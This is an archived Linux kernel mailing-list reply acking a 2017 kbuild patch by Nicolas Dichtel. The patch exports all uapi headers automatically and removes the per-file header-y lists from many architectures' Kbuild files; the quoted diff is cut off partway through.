        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-ar
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-kbuild-owner@vger.kernel.org Mon Jan 09 11:01:25 2017
Return-path: <linux-kbuild-owner@vger.kernel.org>
Envelope-to: glkd-linux-kbuild@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kbuild-owner@vger.kernel.org>)
	id 1cQWlX-0001bV-S3
	for glkd-linux-kbuild@m.gmane.org; Mon, 09 Jan 2017 11:01:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1758103AbdAIKBZ (ORCPT <rfc822;glkd-linux-kbuild@m.gmane.org>);
        Mon, 9 Jan 2017 05:01:25 -0500
Original-Received: from mail-wm0-f65.google.com ([74.125.82.65]:36119 "EHLO
        mail-wm0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1758040AbdAIKBR (ORCPT
        <rfc822;linux-kbuild@vger.kernel.org>);
        Mon, 9 Jan 2017 05:01:17 -0500
Original-Received: by mail-wm0-f65.google.com with SMTP id r126so504072wmr.3
        for <linux-kbuild@vger.kernel.org>; Mon, 09 Jan 2017 02:01:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=ffwll.ch; s=google;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=CJLufYAuiLoSIoooOXw10nDwvnpcdF+m+VLurXBaKE4=;
        b=EDLhg9cTAdIjGHpWHSe8+dv1oavj8Ok3qmQx9BGqlc8t/Er9sXM+EOUWU+bywS9Npv
         ymg7OGZ7zU0pMaoRmRit++SSTKElqG6+vbKeeFh+QF+GwJr8O3qk9K0Wa722gVNjfbJJ
         8zuAll0GWc8HjH4LCiNM2D0LWTjK4ksjkQdTo=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :mail-followup-to:references:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=CJLufYAuiLoSIoooOXw10nDwvnpcdF+m+VLurXBaKE4=;
        b=tr+LKYH8cLOkGOR3vEmZ6UFB0ZkoOE2pM0C8HMLFzZK4SCE3mFEMwh1Z2Z+RbnHoVd
         9U3AvSYVFEpPUdDJJvPFI9v/+OffVjGS9BF5lCPLHk/c6yuhvUtg9xwV43K6SzO5LpQs
         6YqTjMVwiQpX4bo00AxnoPUc1T/LiykT45t80DcM86aVneTEtE7oI/8daePaje3RLMIP
         FvLJrCDXgfMPLnLesrbtaOHe8fei08ke+6aQP4Eru6U2sxWqK6+vOb6J1vIeCUV2reMi
         /dXB06H3RPkTLrDABssApK/EGD243vQgSxOwJD3tlX9Rc0z1A+ViHixglF6bt6ejstqe
         xr+Q==
X-Gm-Message-State: AIkVDXLP3koXLrAZgx7hpYbiianqAjpRyObmEqWI4lN5q1O+eCbF3g0157nxqN44SWk82A==
X-Received: by 10.28.15.138 with SMTP id 132mr3784729wmp.41.1483956074027;
        Mon, 09 Jan 2017 02:01:14 -0800 (PST)
Original-Received: from phenom.ffwll.local ([2a02:168:56c9:0:decc:6e78:7e96:b452])
        by smtp.gmail.com with ESMTPSA id ef10sm122621964wjd.22.2017.01.09.02.01.10
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 09 Jan 2017 02:01:12 -0800 (PST)
Mail-Followup-To: Nicolas Dichtel <nicolas.dichtel@6wind.com>,
        arnd@arndb.de, mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclin 
Content-Disposition: inline
In-Reply-To: <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
X-Operating-System: Linux phenom 4.8.0-1-amd64 
Original-Sender: linux-kbuild-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kbuild.vger.kernel.org>
X-Mailing-List: linux-kbuild@vger.kernel.org
Xref: news.gmane.org gmane.linux.kbuild.devel:16262 gmane.linux.documentation:44096 gmane.linux.kernel:2383089 gmane.linux.ports.alpha:4004 gmane.linux.kernel.arc:1975 gmane.linux.ports.arm.kernel:548857 gmane.linux.ports.hexagon:1084 gmane.linux.ports.ia64:27537 gmane.linux.kernel.metag:1207 gmane.linux.ports.mips.general:57393 gmane.linux.ports.parisc:27156 gmane.linux.ports.ppc64.devel:137066 gmane.linux.ports.sh.devel:54944 gmane.linux.ports.sparc:24295 gmane.linux.kernel.cross-arch:34688 gmane.comp.video.dri.devel:175705 gmane.linux.network:448871 gmane.linux.drivers.video-input-infrastructure:111741 gmane.linux.kernel.mmc:41969 gmane.comp.security.firewalls.netfilter.devel:66802 gmane.linux.nfs:81344 gmane.linux.raid:55318 gmane.linux.kernel.spi.devel:26064 gmane.linux.drivers.mtd:71157 gmane.linux.drivers.rdma:45250 gmane.linux.scsi.open-fcoe.devel:12993 gmane.linux.alsa.devel:162947
Archived-At: <http://permalink.gmane.org/gmane.linux.kbuild.devel/16262>

On Fri, Jan 06, 2017 at 10:43:59AM +0100, Nicolas Dichtel wrote:
> Regularly, when a new header is created in include/uapi/, the developer
> forgets to add it in the corresponding Kbuild file. This error is usually
> detected after the release is out.
> 
> In fact, all headers under uapi directories should be exported, thus it's
> useless to have an exhaustive list.
> 
> After this patch, the following files, which were not exported, are now
> exported (with make headers_install_all):
> asm-unicore32/shmparam.h
> asm-unicore32/ucontext.h
> asm-hexagon/shmparam.h
> asm-mips/ucontext.h
> asm-mips/hwcap.h
> asm-mips/reg.h
> drm/vgem_drm.h
> drm/armada_drm.h
> drm/omap_drm.h
> drm/etnaviv_drm.h
> asm-tile/shmparam.h
> asm-blackfin/shmparam.h
> asm-blackfin/ucontext.h
> asm-powerpc/perf_regs.h
> rdma/qedr-abi.h
> asm-parisc/kvm_para.h
> asm-openrisc/shmparam.h
> asm-nios2/kvm_para.h
> asm-nios2/ucontext.h
> asm-sh/kvm_para.h
> asm-sh/ucontext.h
> asm-xtensa/kvm_para.h
> asm-avr32/kvm_para.h
> asm-m32r/kvm_para.h
> asm-h8300/shmparam.h
> asm-h8300/ucontext.h
> asm-metag/kvm_para.h
> asm-metag/shmparam.h
> asm-metag/ucontext.h
> asm-m68k/kvm_para.h
> asm-m68k/shmparam.h
> linux/bcache.h
> linux/kvm.h
> linux/kvm_para.h
> linux/kfd_ioctl.h
> linux/cryptouser.h
> linux/kcm.h
> linux/kcov.h
> linux/seg6_iptunnel.h
> linux/stm.h
> linux/genwqe
> linux/genwqe/.install
> linux/genwqe/genwqe_card.h
> linux/genwqe/..install.cmd
> linux/seg6.h
> linux/cifs
> linux/cifs/.install
> linux/cifs/cifs_mount.h
> linux/cifs/..install.cmd
> linux/auto_dev-ioctl.h
> 
> Thanks to Julien Floret <julien.floret@6wind.com> for the tip to get all
> subdirs with a pure makefile command.
> 
> Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>

Makes lots of sense.

Acked-by: Daniel Vetter <daniel.vetter@ffwll.ch>
> ---
>  Documentation/kbuild/makefiles.txt          |  41 ++-
>  arch/alpha/include/uapi/asm/Kbuild          |  41 ---
>  arch/arc/include/uapi/asm/Kbuild            |   3 -
>  arch/arm/include/uapi/asm/Kbuild            |  17 -
>  arch/arm64/include/uapi/asm/Kbuild          |  18 --
>  arch/avr32/include/uapi/asm/Kbuild          |  20 --
>  arch/blackfin/include/uapi/asm/Kbuild       |  17 -
>  arch/c6x/include/uapi/asm/Kbuild            |   8 -
>  arch/cris/include/uapi/arch-v10/arch/Kbuild |   5 -
>  arch/cris/include/uapi/arch-v32/arch/Kbuild |   3 -
>  arch/cris/include/uapi/asm/Kbuild           |  43 +--
>  arch/frv/include/uapi/asm/Kbuild            |  33 --
>  arch/h8300/include/uapi/asm/Kbuild          |  28 --
>  arch/hexagon/include/asm/Kbuild             |   3 -
>  arch/hexagon/include/uapi/asm/Kbuild        |  13 -
>  arch/ia64/include/uapi/asm/Kbuild           |  45 ---
>  arch/m32r/include/uapi/asm/Kbuild           |  31 --
>  arch/m68k/include/uapi/asm/Kbuild           |  24 --
>  arch/metag/include/uapi/asm/Kbuild          |   8 -
>  arch/microblaze/include/uapi/asm/Kbuild     |  32 --
>  arch/mips/include/uapi/asm/Kbuild           |  37 ---
>  arch/mn10300/include/uapi/asm/Kbuild        |  32 --
>  arch/nios2/include/uapi/asm/Kbuild          |   4 +-
>  arch/openrisc/include/asm/Kbuild            |   3 -
>  arch/openrisc/include/uapi/asm/Kbuild       |   8 -
>  arch/parisc/include/uapi/asm/Kbuild         |  28 --
>  arch/powerpc/include/uapi/asm/Kbuild        |  45 ---
>  arch/s390/include/uapi/asm/Kbuild           |  52 ---
>  arch/score/include/asm/Kbuild               |   4 -
>  arch/score/include/uapi/asm/Kbuild          |  32 --
>  arch/sh/include/uapi/asm/Kbuild             |  23 --
>  arch/sparc/include/uapi/asm/Kbuild          |  48 ---
>  arch/tile/include/asm/Kbuild                |   3 -
>  arch/tile/include/uapi/arch/Kbuild          |  17 -
>  arch/tile/include/uapi/asm/Kbuild           |  19 +-
>  arch/unicore32/include/uapi/asm/Kbuild      |   6 -
>  arch/x86/include/uapi/asm/Kbuild            |  59 ----
>  arch/xtensa/include/uapi/asm/Kbuild         |  23 --
>  include/Kbuild                              |   2 -
>  include/asm-generic/Kbuild.asm              |   1 -
>  include/scsi/fc/Kbuild                      |   0
>  include/uapi/Kbuild                         |  15 -
>  include/uapi/asm-generic/Kbuild             |  36 ---
>  include/uapi/asm-generic/Kbuild.asm         |  62 ++--
>  include/uapi/drm/Kbuild                     |  22 --
>  include/uapi/linux/Kbuild                   | 482 ----------------------------
>  include/uapi/linux/android/Kbuild           |   2 -
>  include/uapi/linux/byteorder/Kbuild         |   3 -
>  include/uapi/linux/caif/Kbuild              |   3 -
>  include/uapi/linux/can/Kbuild               |   6 -
>  include/uapi/linux/dvb/Kbuild               |   9 -
>  include/uapi/linux/hdlc/Kbuild              |   2 -
>  include/uapi/linux/hsi/Kbuild               |   2 -
>  include/uapi/linux/iio/Kbuild               |   3 -
>  include/uapi/linux/isdn/Kbuild              |   2 -
>  include/uapi/linux/mmc/Kbuild               |   2 -
>  include/uapi/linux/netfilter/Kbuild         |  89 -----
>  include/uapi/linux/netfilter/ipset/Kbuild   |   5 -
>  include/uapi/linux/netfilter_arp/Kbuild     |   3 -
>  include/uapi/linux/netfilter_bridge/Kbuild  |  18 --
>  include/uapi/linux/netfilter_ipv4/Kbuild    |  10 -
>  include/uapi/linux/netfilter_ipv6/Kbuild    |  13 -
>  include/uapi/linux/nfsd/Kbuild              |   6 -
>  include/uapi/linux/raid/Kbuild              |   3 -
>  include/uapi/linux/spi/Kbuild               |   2 -
>  include/uapi/linux/sunrpc/Kbuild            |   2 -
>  include/uapi/linux/tc_act/Kbuild            |  15 -
>  include/uapi/linux/tc_ematch/Kbuild         |   5 -
>  include/uapi/linux/usb/Kbuild               |  12 -
>  include/uapi/linux/wimax/Kbuild             |   2 -
>  include/uapi/misc/Kbuild                    |   2 -
>  include/uapi/mtd/Kbuild                     |   6 -
>  include/uapi/rdma/Kbuild                    |  18 --
>  include/uapi/rdma/hfi/Kbuild                |   2 -
>  include/uapi/scsi/Kbuild                    |   6 -
>  include/uapi/scsi/fc/Kbuild                 |   5 -
>  include/uapi/sound/Kbuild                   |  16 -
>  include/uapi/video/Kbuild                   |   4 -
>  include/uapi/xen/Kbuild                     |   5 -
>  include/video/Kbuild                        |   0
>  scripts/Makefile.headersinst                |  39 +--
>  81 files changed, 73 insertions(+), 1745 deletions(-)
>  delete mode 100644 arch/cris/include/uapi/arch-v10/arch/Kbuild
>  delete mode 100644 arch/cris/include/uapi/arch-v32/arch/Kbuild
>  delete mode 100644 arch/tile/include/uapi/arch/Kbuild
>  delete mode 100644 include/Kbuild
>  delete mode 100644 include/asm-generic/Kbuild.asm
>  delete mode 100644 include/scsi/fc/Kbuild
>  delete mode 100644 include/uapi/Kbuild
>  delete mode 100644 include/uapi/asm-generic/Kbuild
>  delete mode 100644 include/uapi/drm/Kbuild
>  delete mode 100644 include/uapi/linux/Kbuild
>  delete mode 100644 include/uapi/linux/android/Kbuild
>  delete mode 100644 include/uapi/linux/byteorder/Kbuild
>  delete mode 100644 include/uapi/linux/caif/Kbuild
>  delete mode 100644 include/uapi/linux/can/Kbuild
>  delete mode 100644 include/uapi/linux/dvb/Kbuild
>  delete mode 100644 include/uapi/linux/hdlc/Kbuild
>  delete mode 100644 include/uapi/linux/hsi/Kbuild
>  delete mode 100644 include/uapi/linux/iio/Kbuild
>  delete mode 100644 include/uapi/linux/isdn/Kbuild
>  delete mode 100644 include/uapi/linux/mmc/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter/ipset/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_arp/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_bridge/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_ipv4/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_ipv6/Kbuild
>  delete mode 100644 include/uapi/linux/nfsd/Kbuild
>  delete mode 100644 include/uapi/linux/raid/Kbuild
>  delete mode 100644 include/uapi/linux/spi/Kbuild
>  delete mode 100644 include/uapi/linux/sunrpc/Kbuild
>  delete mode 100644 include/uapi/linux/tc_act/Kbuild
>  delete mode 100644 include/uapi/linux/tc_ematch/Kbuild
>  delete mode 100644 include/uapi/linux/usb/Kbuild
>  delete mode 100644 include/uapi/linux/wimax/Kbuild
>  delete mode 100644 include/uapi/misc/Kbuild
>  delete mode 100644 include/uapi/mtd/Kbuild
>  delete mode 100644 include/uapi/rdma/Kbuild
>  delete mode 100644 include/uapi/rdma/hfi/Kbuild
>  delete mode 100644 include/uapi/scsi/Kbuild
>  delete mode 100644 include/uapi/scsi/fc/Kbuild
>  delete mode 100644 include/uapi/sound/Kbuild
>  delete mode 100644 include/uapi/video/Kbuild
>  delete mode 100644 include/uapi/xen/Kbuild
>  delete mode 100644 include/video/Kbuild
> 
> diff --git a/Documentation/kbuild/makefiles.txt b/Documentation/kbuild/makefiles.txt
> index 37b525d329ae..53e31061ff18 100644
> --- a/Documentation/kbuild/makefiles.txt
> +++ b/Documentation/kbuild/makefiles.txt
> @@ -44,7 +44,7 @@ This document describes the Linux kernel Makefiles.
>  	   --- 6.11 Post-link pass
>  
>  	=== 7 Kbuild syntax for exported headers
> -		--- 7.1 header-y
> +		--- 7.1 subdir-y
>  		--- 7.2 genhdr-y
>  		--- 7.3 generic-y
>  		--- 7.4 generated-y
> @@ -1235,7 +1235,7 @@ When kbuild executes, the following steps are followed (roughly):
>  	that may be shared between individual architectures.
>  	The recommended approach how to use a generic header file is
>  	to list the file in the Kbuild file.
> -	See "7.4 generic-y" for further info on syntax etc.
> +	See "7.3 generic-y" for further info on syntax etc.
>  
>  --- 6.11 Post-link pass
>  
> @@ -1262,37 +1262,36 @@ The pre-processing does:
>  - drop include of compiler.h
>  - drop all sections that are kernel internal (guarded by ifdef __KERNEL__)
>  
> -Each relevant directory contains a file name "Kbuild" which specifies the
> -headers to be exported.
> +All headers under include/uapi/, include/generated/uapi/,
> +arch/<arch>/include/uapi/asm/ and arch/<arch>/include/generated/uapi/asm/
> +are exported.
> +
> +A Kbuild file may be defined under arch/<arch>/include/uapi/asm/ and
> +arch/<arch>/include/asm/ to list asm files coming from asm-generic.
>  See subsequent chapter for the syntax of the Kbuild file.
>  
> -	--- 7.1 header-y
> +	--- 7.1 subdir-y
>  
> -	header-y specifies header files to be exported.
> +	subdir-y may be used to specify a subdirectory to be exported.
>  
>  		Example:
> -			#include/linux/Kbuild
> -			header-y += usb/
> -			header-y += aio_abi.h
> +			#arch/cris/include/uapi/asm/Kbuild
> +			subdir-y += ../arch-v10/arch/
> +			subdir-y += ../arch-v32/arch/
>  
> -	The convention is to list one file per line and
> +	The convention is to list one subdir per line and
>  	preferably in alphabetic order.
>  
> -	header-y also specifies which subdirectories to visit.
> -	A subdirectory is identified by a trailing '/' which
> -	can be seen in the example above for the usb subdirectory.
> -
> -	Subdirectories are visited before their parent directories.
> -
>  	--- 7.2 genhdr-y
>  
> -	genhdr-y specifies generated files to be exported.
> -	Generated files are special as they need to be looked
> -	up in another directory when doing 'make O=...' builds.
> +	genhdr-y specifies asm files to be generated.
>  
>  		Example:
> -			#include/linux/Kbuild
> -			genhdr-y += version.h
> +			#arch/x86/include/uapi/asm/Kbuild
> +			genhdr-y += unistd_32.h
> +			genhdr-y += unistd_64.h
> +			genhdr-y += unistd_x32.h
> +
>  
>  	--- 7.3 generic-y
>  
> diff --git a/arch/alpha/include/uapi/asm/Kbuild b/arch/alpha/include/uapi/asm/Kbuild
> index d96f2ef5b639..b15bf6bc0e94 100644
> --- a/arch/alpha/include/uapi/asm/Kbuild
> +++ b/arch/alpha/include/uapi/asm/Kbuild
> @@ -1,43 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += a.out.h
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += compiler.h
> -header-y += console.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += fpu.h
> -header-y += gentrap.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += pal.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += reg.h
> -header-y += regdef.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += sysinfo.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/arc/include/uapi/asm/Kbuild b/arch/arc/include/uapi/asm/Kbuild
> index f50d02df78d5..b15bf6bc0e94 100644
> --- a/arch/arc/include/uapi/asm/Kbuild
> +++ b/arch/arc/include/uapi/asm/Kbuild
> @@ -1,5 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -header-y += elf.h
> -header-y += page.h
> -header-y += cachectl.h
> diff --git a/arch/arm/include/uapi/asm/Kbuild b/arch/arm/include/uapi/asm/Kbuild
> index 46a76cd6acb6..607f702c2d62 100644
> --- a/arch/arm/include/uapi/asm/Kbuild
> +++ b/arch/arm/include/uapi/asm/Kbuild
> @@ -1,23 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += fcntl.h
> -header-y += hwcap.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += perf_regs.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += unistd.h
>  genhdr-y += unistd-common.h
>  genhdr-y += unistd-oabi.h
>  genhdr-y += unistd-eabi.h
> diff --git a/arch/arm64/include/uapi/asm/Kbuild b/arch/arm64/include/uapi/asm/Kbuild
> index 825b0fe51c2b..13a97aa2285f 100644
> --- a/arch/arm64/include/uapi/asm/Kbuild
> +++ b/arch/arm64/include/uapi/asm/Kbuild
> @@ -2,21 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += kvm_para.h
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += fcntl.h
> -header-y += hwcap.h
> -header-y += kvm_para.h
> -header-y += perf_regs.h
> -header-y += param.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += ucontext.h
> -header-y += unistd.h
> diff --git a/arch/avr32/include/uapi/asm/Kbuild b/arch/avr32/include/uapi/asm/Kbuild
> index 08d8a3d76ea8..610395083364 100644
> --- a/arch/avr32/include/uapi/asm/Kbuild
> +++ b/arch/avr32/include/uapi/asm/Kbuild
> @@ -1,26 +1,6 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += auxvec.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
>  generic-y += bitsperlong.h
>  generic-y += errno.h
>  generic-y += fcntl.h
> diff --git a/arch/blackfin/include/uapi/asm/Kbuild b/arch/blackfin/include/uapi/asm/Kbuild
> index 0bd28f77abc3..b15bf6bc0e94 100644
> --- a/arch/blackfin/include/uapi/asm/Kbuild
> +++ b/arch/blackfin/include/uapi/asm/Kbuild
> @@ -1,19 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += bfin_sport.h
> -header-y += byteorder.h
> -header-y += cachectl.h
> -header-y += fcntl.h
> -header-y += fixed_code.h
> -header-y += ioctls.h
> -header-y += kvm_para.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += stat.h
> -header-y += swab.h
> -header-y += unistd.h
> diff --git a/arch/c6x/include/uapi/asm/Kbuild b/arch/c6x/include/uapi/asm/Kbuild
> index e9bc2b2b8147..13a97aa2285f 100644
> --- a/arch/c6x/include/uapi/asm/Kbuild
> +++ b/arch/c6x/include/uapi/asm/Kbuild
> @@ -2,11 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += kvm_para.h
> -
> -header-y += byteorder.h
> -header-y += kvm_para.h
> -header-y += ptrace.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += swab.h
> -header-y += unistd.h
> diff --git a/arch/cris/include/uapi/arch-v10/arch/Kbuild b/arch/cris/include/uapi/arch-v10/arch/Kbuild
> deleted file mode 100644
> index 9048c87a782b..000000000000
> --- a/arch/cris/include/uapi/arch-v10/arch/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += sv_addr.agh
> -header-y += sv_addr_ag.h
> -header-y += svinto.h
> -header-y += user.h
> diff --git a/arch/cris/include/uapi/arch-v32/arch/Kbuild b/arch/cris/include/uapi/arch-v32/arch/Kbuild
> deleted file mode 100644
> index 59efffd16b61..000000000000
> --- a/arch/cris/include/uapi/arch-v32/arch/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += cryptocop.h
> -header-y += user.h
> diff --git a/arch/cris/include/uapi/asm/Kbuild b/arch/cris/include/uapi/asm/Kbuild
> index d5564a0ae66a..d0c5471856e0 100644
> --- a/arch/cris/include/uapi/asm/Kbuild
> +++ b/arch/cris/include/uapi/asm/Kbuild
> @@ -1,44 +1,5 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
>  
> -header-y += ../arch-v10/arch/
> -header-y += ../arch-v32/arch/
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += elf.h
> -header-y += elf_v10.h
> -header-y += elf_v32.h
> -header-y += errno.h
> -header-y += ethernet.h
> -header-y += etraxgpio.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += ptrace_v10.h
> -header-y += ptrace_v32.h
> -header-y += resource.h
> -header-y += rs485.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += sync_serial.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> +subdir-y += ../arch-v10/arch/
> +subdir-y += ../arch-v32/arch/
> diff --git a/arch/frv/include/uapi/asm/Kbuild b/arch/frv/include/uapi/asm/Kbuild
> index 42a2b33461c0..b15bf6bc0e94 100644
> --- a/arch/frv/include/uapi/asm/Kbuild
> +++ b/arch/frv/include/uapi/asm/Kbuild
> @@ -1,35 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += ptrace.h
> -header-y += registers.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += sigcontext.h
> -header-y += siginfo.h
> -header-y += signal.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/h8300/include/uapi/asm/Kbuild b/arch/h8300/include/uapi/asm/Kbuild
> index fb6101a5d4f1..b15bf6bc0e94 100644
> --- a/arch/h8300/include/uapi/asm/Kbuild
> +++ b/arch/h8300/include/uapi/asm/Kbuild
> @@ -1,30 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += ioctl.h
> -header-y += ioctls.h
> -header-y += ipcbuf.h
> -header-y += kvm_para.h
> -header-y += mman.h
> -header-y += msgbuf.h
> -header-y += param.h
> -header-y += poll.h
> -header-y += posix_types.h
> -header-y += resource.h
> -header-y += sembuf.h
> -header-y += setup.h
> -header-y += shmbuf.h
> -header-y += siginfo.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += stat.h
> -header-y += statfs.h
> -header-y += swab.h
> -header-y += termbits.h
> -header-y += termios.h
> -header-y += types.h
> -header-y += unistd.h
> diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
> index db8ddabc6bd2..f3b1ceb5c1e4 100644
> --- a/arch/hexagon/include/asm/Kbuild
> +++ b/arch/hexagon/include/asm/Kbuild
> @@ -1,6 +1,3 @@
> -
> -header-y += ucontext.h
> -
>  generic-y += auxvec.h
>  generic-y += barrier.h
>  generic-y += bug.h
> diff --git a/arch/hexagon/include/uapi/asm/Kbuild b/arch/hexagon/include/uapi/asm/Kbuild
> index c31706c38631..b15bf6bc0e94 100644
> --- a/arch/hexagon/include/uapi/asm/Kbuild
> +++ b/arch/hexagon/include/uapi/asm/Kbuild
> @@ -1,15 +1,2 @@
>  # UAPI Header export list
>  include include/uapi/asm-generic/Kbuild.asm
> -
> -header-y += bitsperlong.h
> -header-y += byteorder.h
> -header-y += kvm_para.h
> -header-y += param.h
> -header-y += ptrace.h
> -header-y += registers.h
> -header-y += setup.h
> -header-y += sigcontext.h
> -header-y += signal.h
> -header-y += swab.h
> -header-y += unistd.h
> -header-y += user.h
> diff --git a/arch/ia64/include/uapi/asm/Kbuild b/arch/ia64/include/uapi/asm/Kbuild
> index 891002bbb995..13a97aa2285f 100644
> --- a/arch/ia64/include/uapi/asm/Kbuild
> +++ b/arch/ia64/include/uapi/asm/Kbuild
> @@ -2,48 +2,3 @@
>  include include/uapi/asm-generic/Kbuild.asm
>  
>  generic-y += kvm_para.h
> -
> -header-y += auxvec.h
> -header-y += bitsperlong.h
> -header-y += break.h
> -header-y += byteorder.h
> -header-y += cmpxchg.h
> -header-y += errno.h
> -header-y += fcntl.h
> -header-y += fpu.h
> -header-y += gcc_intrin.h
> -header-y += ia64regs.h
> -header-y += intel_intrin.h
> -header-y += intrinsics.h
> -header-y += ioctl.h
> -header-y += ioctls.h
